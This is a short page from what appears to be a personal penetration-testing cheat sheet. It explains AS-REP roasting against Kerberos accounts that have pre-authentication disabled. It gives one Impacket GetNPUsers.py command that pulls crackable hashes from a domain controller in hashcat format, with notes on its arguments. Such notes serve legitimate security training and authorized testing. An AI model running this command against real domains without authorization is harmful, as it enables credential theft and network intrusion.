theAwful
  • Introduction
  • INTERNALS
    • Responder
      • NBNS/LLMNR
    • mitm6
    • Password Spraying
    • CME/NXC Cheatsheet
    • Kerberoasting
    • AS-REP Roasting
    • Dumping NTDS
  • Metasploit Payload and Listener
    • Encoder
    • Word Macros
    • Payloads
      • Earlybird
    • Metasploit Modules
  • OSEP Cheat Sheet
  • OSEP Challenges
    • Challenge 6
  • C2
    • Sliver
  • Privilege Escalation
    • PowerUp
    • Privilege Escalation
      • Internal Privilege Escalation (Linux)
  • Windows Local Recon
    • SQL Server
    • Application Whitelisting and Credentials
  • Linux Local Recon
  • File Transfer & Execution
  • Phishing
  • Ansible/Jfrog
  • Pivoting
  • Pass-the-hash
  • Remote Access
  • Post-Exploitation
    • Add User
    • AMSI, CLM, AppLocker
  • Credentials
  • Lateral Movement
  • Domain Enumeration
    • Users and Computers
    • ACLs
    • BloodHound
    • GPO
    • Trusts
    • User Hunting
  • Active Directory
    • Domain Recon - Kali
    • Domain Recon - Windows
    • Trusts
    • ADCS
      • ESC3
  • Web Application Testing
    • Host Headers
    • WAF Bypasses
    • Template Injection
    • Prototype Pollution
      • Client-side Prototype Pollution
    • Autorize
    • SQLmap
    • SSRF
    • File Uploads
    • Command Injection
    • XXE
      • Blind XXE
    • CSRF
    • XSS
      • XSS Methodology
      • Bypass WAF
  • MOBILE APPS
    • iOS
      • Install Tools
      • SSL Killswitch
    • Android
      • Install Tools
      • Setting up Burp
      • Red Teaming
  • Exploit Dev
    • AMSI Bypass
      • AMSI OpenSession
      • AMSI ScanBuffer
    • VBA Obfsu
    • APC Injection
    • EarlyBird Injection
  • DFIR
    • Malware Analysis
    • Memory Analysis
      • Volatility
    • Registry Analysis
      • RegRipper
    • Behavior Analysis
      • ShellBags
      • UserAssist
    • Filesystems
  • VISUAL STUDIO
    • Tricks
  • Scripts and Tools
    • Grep IPs from DNS ping
    • OSINT.sh
Powered by GitBook
On this page
  1. INTERNALS

AS-REP Roasting

PreviousKerberoastingNextDumping NTDS

Last updated 9 months ago

AS-REP roasting is an offensive technique against Kerberos that allows password hashes to be retrieved for users that do not require pre-authentication. If the user has “Do not use Kerberos pre-authentication” enabled, then an attacker can recover a Kerberos AS-REP encrypted with the users RC4-HMAC’d password and he can attempt to crack this ticket offline. 

python3 GetNPUsers.py -request -dc-ip 10.0.0.1 acme.corp/ -usersfile users.txt -format hashcat -outputfile out.hashcat -no-pass

  • 10.0.0.1 = The IP of the domain controller

  • acme.corp = The domain (you will run into issues on this step, it is local for the formal name of the domain, so I can’t just use ACME for example)

https://www.hackingarticles.in/as-rep-roasting/